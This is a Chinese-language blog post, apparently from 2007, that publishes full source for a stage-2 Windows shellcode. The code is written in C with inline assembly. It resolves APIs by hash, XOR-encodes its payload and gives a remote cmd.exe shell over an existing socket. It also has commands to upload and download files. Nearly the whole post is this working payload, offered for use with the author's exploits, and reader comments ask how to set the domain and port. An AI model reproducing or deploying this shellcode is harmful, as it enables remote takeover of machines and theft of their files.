文件上传下载的shellcode
作者:刺
由于个人职业发展的原因,以后可能不会再深入研究这方面的东西了,只会当作纯粹的兴趣爱好。
我最近都在研究WEB和浏览器安全,以及安全设计方面的工作。所以为了让这些烂在我硬盘里的东西能够更好的发挥作用,能够更加的open,我决定公开这些已经烂掉的东西,也算是对自己过去的一个交代。
shellcode是一项非常具有艺术性的工作,可以对shellcode做加密,可以自己在shellcode里实现 一个协议,可以直接执行一个PE文件,如果是IE里的,可以对抗主动防御,可以通用不挂浏览器,文件型的功能就更多了。
躺在我硬盘里的shellcode太多了,很多我也忘记了原本的功能,也忘记了哪段代码有没有bug,哪段是最新的。如果贴错代码了,就当是POC吧
这里我贴一个简单的上传文件和下载文件的shellcode,如果以前有朋友用过我写的exploit,应该使用过这个功能,在shell里直接可以上传和下载文件。
这段shellcode是一个stage2的shellcode。这种思想是分段发送shellcode,先发送stage1 的shellcode,然后stage1的shellcode会接收stage2 的shellcode去执行。一般来说stage1 的shellcode会短小精悍,stage2 的shellcode则会比较强大。下面的shellcode是stage 2 shellcode的演示.
PS:我以后不会再公开任何漏洞利用的exploit了。
最后,再次向shellcoder们致敬。欢迎和我一起讨论任何技术问题。
/*
author: [email protected]
Team: Ph4nt0m Security Team (http://www.ph4nt0m.org)
Date: 2007
*/
#include <windows.h>
#include <stdio.h>
#define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90\
__asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
#define PROC_END PROC_BEGIN
#define Xor_key 0x33;
unsigned char sh_Buff[2048];
unsigned int sh_Len;
unsigned int Enc_key=0x99;
unsigned char decode1[] =
/*
00401004 . /EB 0E JMP SHORT encode.00401014
00401006 $ |5B POP EBX
00401007 . |4B DEC EBX
00401008 . |33C9 XOR ECX,ECX
0040100A . |B1 FF MOV CL,0FF
0040100C > |80340B 99 XOR BYTE PTR DS:[EBX+ECX],99
00401010 .^|E2 FA LOOPD SHORT encode.0040100C
00401012 . |EB 05 JMP SHORT encode.00401019
00401014 > \E8 EDFFFFFF CALL encode.00401006
*/
“\xEB\x0E\x5B\x4B\x33\xC9\xB1”
“\xFF” // shellcode size
“\x80\x34\x0B”
“\x99” // xor byte
“\xE2\xFA\xEB\x05\xE8\xED\xFF\xFF\xFF”;
unsigned
char decode2[] =
/* ripped from eyas
00406030 /EB 10 JMP SHORT 00406042
00406032 |5B POP EBX
00406033 |4B DEC EBX
00406034 |33C9 XOR ECX,ECX
00406036 |66:B9 6601 MOV CX,166
0040603A |80340B 99 XOR BYTE PTR DS:[EBX+ECX],99
0040603E ^|E2 FA LOOPD SHORT 0040603A
00406040 |EB 05 JMP SHORT 00406047
00406042 \E8 EBFFFFFF CALL 00406032
*/
“\xEB\x10\x5B\x4B\x33\xC9\x66\xB9”
“\x66\x01” // shellcode size
“\x80\x34\x0B”
“\x99” // xor byte
“\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF”;
// kernel32.dll functions index
#define _LoadLibraryA 0x00
#define _CreateProcessA 0x04
#define _TerminateProcess 0x08
//#define _ExitThread 0x08
#define _CreatePipe 0x0C
#define _CreateNamedPipeA 0x10
#define _CloseHandle 0x14
#define _CreateEventA 0x18
#define _WaitForMultipleObjects 0x1C
#define _GetOverlappedResult 0x20
#define _CreateFileA 0x24
#define _ReadFile 0x28
#define _WriteFile 0x2C
#define _WaitForSingleObjectEx 0x30
#define _Sleep 0x34
// ws2_32.dll functions index
#define _WSAStartup 0x38
#define _WSASocketA 0x3C
#define _setsockopt 0x40
#define _bind 0x44
#define _listen 0x48
#define _accept 0x4C
#define _recv 0x50
#define _send 0x54
#define _WSACreateEvent 0x58
#define _WSAEventSelect 0x5C
#define _WSAEnumNetworkEvents 0x60
#define _ioctlsocket 0x64
#define _closesocket 0x68
// data index
#define _lsck 0x6C
#define _hsck 0x70 // socket handle
#define _hin0 0x74 // transferring data to subprocess. incoming handler
#define _hin1 0x78 // outgoing
#define _hout0 0x7C // Create named pipe and open it. incoming handler
#define _hout1 0x80 // outgoing
#define _pi0 0x84
#define _pi1 0x88
#define _epip 0x8C
#define _esck 0x90
#define _flg 0x94
#define _lap 0x98
#define _cnt 0xAC
#define _pbuf 0xB0
#define _sbuf 0xF0
// functions number
#define _Knums 14
#define _Wnums 13
// Need functions
unsigned char functions[100][128] =
{
// kernel32
{“LoadLibraryA”},
{“CreateProcessA”},
{“TerminateProcess”},
// {“ExitThread”},
{“CreatePipe”},
{“CreateNamedPipeA”},
{“CloseHandle”},
{“CreateEventA”},
{“WaitForMultipleObjects”},
{“GetOverlappedResult”},
{“CreateFileA”},
{“ReadFile”},
{“WriteFile”},
{“WaitForSingleObjectEx”},
{“Sleep”},
// ws2_32
{“WSAStartup”},
{“WSASocketA”},
{“setsockopt”},
{“bind”},
{“listen”},
{“accept”},
{“recv”},
{“send”},
{“WSACreateEvent”},
{“WSAEventSelect”},
{“WSAEnumNetworkEvents”},
{“ioctlsocket”},
{“closesocket”},
// data
{“”},
};
void PrintSc(unsigned char *lpBuff, int buffsize);
void ShellCode();
// Get function hash
unsigned long hash(unsigned char *c)
{
unsigned long h=0;
while(*c)
{
h = ( ( h << 25 ) | ( h >> 7 ) ) + *c++;
}
return h;
}
// get shellcode
void GetShellCode()
{
char *fnbgn_str=”\x90\x90\x90\x90\x90\x90\x90\x90\x90″;
char *fnend_str=”\x90\x90\x90\x90\x90\x90\x90\x90\x90″;
unsigned char *pSc_addr;
unsigned char pSc_Buff[2048];
unsigned int MAX_Sc_Len=0x2000;
unsigned long dwHash[100];
unsigned int dwHashSize;
int l,i,j,k;
// Get functions hash
for (i=0;;i++) {
if (functions[i][0] == ‘\x0’) break;
dwHash[i] = hash(functions[i]);
//fprintf(stderr, “%.8X\t%s\n”, dwHash[i], functions[i]);
}
dwHashSize = i*4;
// Deal with shellcode
pSc_addr = (unsigned char *)ShellCode;
for (k=0;k<MAX_Sc_Len;++k ) {
if(memcmp(pSc_addr+k,fnbgn_str, 8)==0) {
break;
}
}
pSc_addr+=(k+8); // start of the ShellCode
for (k=0;k<MAX_Sc_Len;++k) {
if(memcmp(pSc_addr+k,fnend_str, 8)==0) {
break;
}
}
sh_Len=k; // length of the ShellCode
memcpy(pSc_Buff, pSc_addr, sh_Len);
// Add functions hash
memcpy(pSc_Buff+sh_Len, (unsigned char *)dwHash, dwHashSize);
sh_Len += dwHashSize;
//printf(“%d bytes shellcode\n”, sh_Len);
// print shellcode
//PrintSc(pSc_Buff, sh_Len);
// find xor byte
for(i=0xff; i>0; i–)
{
l = 0;
for(j=0; j<sh_Len; j++)
{
if (
// ((pSc_Buff[j] ^ i) == 0x26) || //%
// ((pSc_Buff[j] ^ i) == 0x3d) || //=
// ((pSc_Buff[j] ^ i) == 0x3f) || //?
// ((pSc_Buff[j] ^ i) == 0x40) || //@
((pSc_Buff[j] ^ i) == 0x00) //||
// ((pSc_Buff[j] ^ i) == 0x0D) ||
// ((pSc_Buff[j] ^ i) == 0x0A) ||
// ((pSc_Buff[j] ^ i) == 0x5C)
)
{
l++;
break;
};
}
if (l==0)
{
Enc_key = i;
//printf(“Find XOR Byte: 0x%02X\n”, i);
for(j=0; j<sh_Len; j++)
{
pSc_Buff[j] ^= Enc_key;
}
break; // break when found xor byte
}
}
// No xor byte found
if (l!=0){
//fprintf(stderr, “No xor byte found!\n”);
sh_Len = 0;
}
else {
//fprintf(stderr, “Xor byte 0x%02X\n”, Enc_key);
// encode
if (sh_Len > 0xFF) {
*(unsigned short *)&decode2[8] = sh_Len;
*(unsigned char *)&decode2[13] = Enc_key;
memcpy(sh_Buff, decode2, sizeof(decode2)-1);
memcpy(sh_Buff+sizeof(decode2)-1, pSc_Buff, sh_Len);
sh_Len += sizeof(decode2)-1;
}
else {
*(unsigned char *)&decode1[7] = sh_Len;
*(unsigned char *)&decode1[11] = Enc_key;
memcpy(sh_Buff, decode1, sizeof(decode1)-1);
memcpy(sh_Buff+sizeof(decode1)-1, pSc_Buff, sh_Len);
sh_Len += sizeof(decode1)-1;
}
}
}
// print shellcode
void PrintSc(unsigned char *lpBuff, int buffsize)
{
int i,j;
char *p;
char msg[4];
printf(“/* %d bytes */\n”,buffsize);
for(i=0;i<buffsize;i++)
{
if((i%16)==0)
if(i!=0)
printf(“\”\n\””);
else
printf(“\””);
sprintf(msg,”\\x%.2X”,lpBuff[i]&0xff);
for( p = msg, j=0; j < 4; p++, j++ )
{
if(isupper(*p))
printf(“%c”, _tolower(*p));
else
printf(“%c”, p[0]);
}
}
printf( “\”;\n”);
}
// shellcode function
void ShellCode()
{
__asm{
PROC_BEGIN //C macro to begin proc
jmp locate_addr
func_start:
pop edi ; get eip
mov dword ptr [edi+_hsck], eax //保存stage1传来的socket handle
mov eax, fs:30h
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8] ; base address of kernel32.dll
mov esi, edi
push _Knums
pop ecx
GetKFuncAddr: ; find functions from kernel32.dll
call find_hashfunc_addr
loop GetKFuncAddr
push 3233h
push 5F327377h ; ws2_32
push esp
call dword ptr [esi+_LoadLibraryA]
mov ebp, eax ; base address of ws2_32.dll
push _Wnums
pop ecx
GetWFuncAddr: ; find functions from ws2_32.dll
call find_hashfunc_addr
loop GetWFuncAddr
push 1 ; sa.inherit=true
push 0 ; sa.descriptor=NULL
push 0x0C ; sa.sizeof(sa)=0x0c
mov ebx, esp
push 0xff
push ebx
lea edx, [esi+_hin0]
push edx
add edx, 4
push edx
call dword ptr [esi+_CreatePipe]
push 0x305C
push 0x65706970
push 0x5C2E5C5C ; “\\.\pipe\0″
mov edi, esp
xor eax, eax
push eax
push eax
push eax
push eax
push 0xff ; UNLIMITED_INSTANCES
push eax ; TYPE_BYTE|READMODE_BYTE|WAIT
push 0x40000003 ; ACCES_DUPLEX|FLAG_OVERLAPPED
push edi ; pip=”\\.\pipe\0″
call dword ptr [esi+_CreateNamedPipeA]
mov [esi+_hout1], eax
xor eax, eax
push eax
push eax
push 3 ; OPEN_EXISTING
push ebx ; lap
push eax
push 0x02000000 ; MAXIMUM_ALLOWED
push edi ; pip=”\\.\pipe\0”
call dword ptr [esi+_CreateFileA]
mov [esi+_hout0], eax
push 646D63h ; “cmd”
lea edx, [esp]
sub esp, 54h
mov edi, esp
push 14h
pop ecx
xor eax, eax
stack_zero:
mov [edi+ecx*4], eax
loop stack_zero
mov byte ptr [edi+10h], 44h ; si.cb = sizeof(si)
inc byte ptr [edi+3Ch]
inc byte ptr [edi+3Dh] ; si.flg=USESHOWWINDOW|USESTDHANDLES
push [esi+_hin1]
pop ebx
mov [edi+48h], ebx ; si.stdinput
push [esi+_hout0]
pop ebx
mov [edi+4Ch], ebx ; si.stdoutput
mov [edi+50h], ebx ; si.stderror
lea eax, [edi+10h]
push edi
push eax
push ecx
push ecx
push ecx
push 1 ; inherit=TRUE
push ecx
push ecx
push edx ; “cmd”
push ecx
call dword ptr [esi+_CreateProcessA]
push [edi]
pop dword ptr [esi+_pi0]
push [edi+4]
pop dword ptr [esi+_pi1]
push [esi+_hin1]
call dword ptr [esi+_CloseHandle]
push [esi+_hout0]
call dword ptr [esi+_CloseHandle]
add esp, 0x6C ; free sa struct and “\\.\pipe\0” string and si struct
xor eax, eax
push eax
push 1
push 1
push eax
call dword ptr [esi+_CreateEventA]
mov [esi+_epip], eax
xor ebx, ebx
mov [esi+_lap+0x0C], ebx
mov [esi+_lap+0x10], eax
call dword ptr [esi+_WSACreateEvent] // WSACreateEvent();
mov [esi+_esck], eax
mov dword ptr [esi+_flg], 0
k1:
push 0x21 ; FD_READ|FD_CLOSE
push [esi+_esck]
push [esi+_hsck]
call dword ptr [esi+_WSAEventSelect] // WSAEventSelect(_hsck, _esck, FD_READ|FD_CLOSE);
xor eax, eax
dec eax
push eax
inc eax
push eax
lea ebx, [esi+_epip]
push ebx
push 2
call dword ptr [esi+_WaitForMultipleObjects] // WaitForMultipleObjects(2, _epip, FALSE, INFINITE);
push eax
lea ebx, [esi+_sbuf]
push ebx
push [esi+_esck]
push [esi+_hsck]
call dword ptr [esi+_WSAEnumNetworkEvents] // WSAEnumNetworkEvents(_hsck, _esck, _sbuf);
push 0
push dword ptr [esi+_esck]
push dword ptr [esi+_hsck]
call dword ptr [esi+_WSAEventSelect] // WSAEventSelect(_hsck, _esck, 0);
push 0
push esp
push 0x8004667e
push [esi+_hsck]
call dword ptr [esi+_ioctlsocket]
pop eax
pop ecx ;
jecxz k2
dec ecx
jnz k5
push 0
push 0x40
lea edx, [esi+_sbuf]
push edx
push [esi+_hsck]
call dword ptr [esi+_recv]
lea edx, [esi+_sbuf]
push eax
pop ecx ;ecx字节数
call xor_data
//+——————————————-
// Add file download and upload function
// 2004-06-09
//
// san
//+——————————————-
cmp dword ptr [esi+_sbuf], 0xFF746567 ; “get ”
jz get_file
cmp dword ptr [esi+_sbuf], 0xFF747570 ; “put ”
jz put_file
cmp DWORD ptr [esi+_sbuf], 0x20786573 ; “sex ” sex加空格, 安全退出
jz k5
restore:
push 0
lea ebx, [esi+_cnt]
push ebx
push eax ; size
lea ebx, [esi+_sbuf]
push ebx
push [esi+_hin0]
call [esi+_WriteFile] // WriteFile(_hin0, _sbuf, len, _cnt);
k2:
mov ecx, [esi+_flg]
jecxz k3
push eax
lea ebx, [esi+_cnt]
push ebx
lea ebx, [esi+_lap]
push ebx
push [esi+_hout1]
call dword ptr [esi+_GetOverlappedResult]
xchg eax, ecx
jecxz k5
jmp k4
k3:
lea ebx, [esi+_lap]
push ebx
lea ebx, [esi+_cnt]
push ebx
push 0x40
lea ebx, [esi+_pbuf]
push ebx
push [esi+_hout1]
call dword ptr [esi+_ReadFile]
inc dword ptr [esi+_flg]
test eax, eax
jz k1
k4:
lea edx, [esi+_pbuf]
push [esi+_cnt]
pop ecx
call xor_data
dec dword ptr [esi+_flg]
push 0
mov ebx, [esi+_cnt]
push ebx
lea ebx, [esi+_pbuf]
push ebx
push [esi+_hsck]
call dword ptr [esi+_send]
jmp k1
k5:
//int 3
//push 0 //应该可以没有
push [esi+_pi0] // 进程 handler
call dword ptr [esi+_TerminateProcess] //结束掉cmd
// call dword ptr [esi+_ExitThread]
// call DWORD ptr [esi+_ExitProcess]
push [esi+_pi0]
push [esi+_pi1]
push [esi+_hout1]
push [esi+_hin0]
call dword ptr [esi+_CloseHandle]
call dword ptr [esi+_CloseHandle]
call dword ptr [esi+_CloseHandle]
call dword ptr [esi+_CloseHandle]
push [esi+_hsck]
call dword ptr [esi+_closesocket]
// xor eax, eax
// dec eax
// push eax
// call dword ptr [esi+_TerminateProcess] 结束当前进程
// call dword ptr [esi+_ExitThread]
// 返回stage1 恢复栈平衡
//int 3
add esp, 8h
retn
get_file:
//int 3
mov byte ptr [esi+_sbuf+eax-1], 0
lea edx, [esi+_sbuf+4] ; “get ” filename
xor eax, eax
push eax
push eax
push 3 ; OPEN_EXISTING
push eax ; lap
push eax
push 0x02000000 ; MAXIMUM_ALLOWED
push edx ; filename
call dword ptr [esi+_CreateFileA]
//—- 判断文件打开是否成功——-
inc eax
test eax, eax
jz k1
dec eax
//———————————
mov [esi+_hout0], eax
transfer:
push 0 ; null or &lap
lea edx, [esi+_cnt]
push edx ; read size actualy
push 0x40 ; read size
lea edx, [esi+_pbuf]
push edx
push [esi+_hout0]
call dword ptr [esi+_ReadFile]
mov ecx, [esi+_cnt]
jecxz transfer_finish ; None to read
lea edx, [esi+_pbuf]
call xor_data
push 0
push [esi+_cnt]
lea edx, [esi+_pbuf]
push edx
push [esi+_hsck]
call dword ptr [esi+_send]
jmp transfer
transfer_finish:
push [esi+_hout0]
call dword ptr [esi+_CloseHandle]
jmp k1
put_file:
//int 3
mov byte ptr [esi+_sbuf+eax-1], 0
lea edx, [esi+_sbuf+4] ; filename after “put ”
xor eax, eax
push eax
push eax
push 2 ; CREATE_ALWAYS
push eax ; lap
push eax
push 0x02000000 ; MAXIMUM_ALLOWED
push edx ; filename
call dword ptr [esi+_CreateFileA]
//—- 判断文件创建是否成功——-
//inc eax
//test eax, eax
//jz k1
//dec eax
//——————————–
mov [esi+_hout0], eax
upload:
push 0
push 0x40
lea edx, [esi+_pbuf]
push edx
push [esi+_hsck]
call dword ptr [esi+_recv] // recv(_hsck, _pbuf, 64, 0);
//—————————–
cmp dword ptr [esi+_pbuf], 21444E45h // 判断结束字符串END!
jz upload_finish
//—————————–
lea edx, [esi+_pbuf]
push eax
pop ecx
call xor_data // xor_data(_pbuf, len);
push 0
lea edx, [esi+_cnt]
push edx
push eax
lea edx, [esi+_pbuf]
push edx
push [esi+_hout0]
call dword ptr [esi+_WriteFile] // WriteFile(_hout0, _pbuf, len, _cnt, 0);
//push 0
//push esp
//push 4004667Fh
//push [esi+_hsck]
//call dword ptr [esi+_ioctlsocket] // ioctlsocket(_hsck, FIONREAD, &i); i = 0
//pop ecx
//jecxz upload_finish
jmp upload
upload_finish:
//int 3
push [esi+_hout0]
call dword ptr [esi+_CloseHandle] // CloseHandle(_hout0);
mov byte ptr [esi+_sbuf], 0x0a
push 1
pop eax
jmp restore
xor_data:
dec edx
xor_work:
xor byte ptr [edx+ecx], Xor_key
loop xor_work
ret
find_hashfunc_addr:
push ecx
push esi
mov esi, [ebp+3Ch] ; e_lfanew
mov esi, [esi+ebp+78h] ; ExportDirectory RVA
add esi, ebp ; rva2va
push esi
mov esi, [esi+20h] ; AddressOfNames RVA
add esi, ebp ; rva2va
xor ecx, ecx
dec ecx
find_start:
inc ecx
lodsd
add eax, ebp
xor ebx, ebx
hash_loop:
movsx edx, byte ptr [eax]
cmp dl, dh
jz short find_addr
ror ebx, 7 ; hash
add ebx, edx
inc eax
jmp short hash_loop
find_addr:
cmp ebx, [edi] ; compare to hash
jnz short find_start
pop esi ; ExportDirectory
mov ebx, [esi+24h] ; AddressOfNameOrdinals RVA
add ebx, ebp ; rva2va
mov cx, [ebx+ecx*2] ; FunctionOrdinal
mov ebx, [esi+1Ch] ; AddressOfFunctions RVA
add ebx, ebp ; rva2va
mov eax, [ebx+ecx*4] ; FunctionAddress RVA
add eax, ebp ; rva2va
stosd ; function address save to [edi]
pop esi
pop ecx
retn
locate_addr:
call func_start
PROC_END //C macro to end proc
}
}
int main(int argc, char *argv[])
{
unsigned char Buff[2048];
GetShellCode();
PrintSc(sh_Buff, sh_Len);
//PrintSc(Buff, sizeof(Buff));
return 1;
}
为什么不做深入研究了呢,我觉得你做的挺好的啊。你研究这个很有前途啊。唉,一年多来天天关注你的blog,你不做了肯定有失落感啊
呵呵,不是我做的,你看作者不是我,作者是 刺
– – Milw0rm来的?
靠,靠靠.咋不给个简单点的.
请问源码怎么保存啊,我复制在记事本保存为exe的,但是打不开请指教~
…..无语 你好高级
请问 域名 和 端口 在什么地方修改?
加密的 key 可以自己修改吗?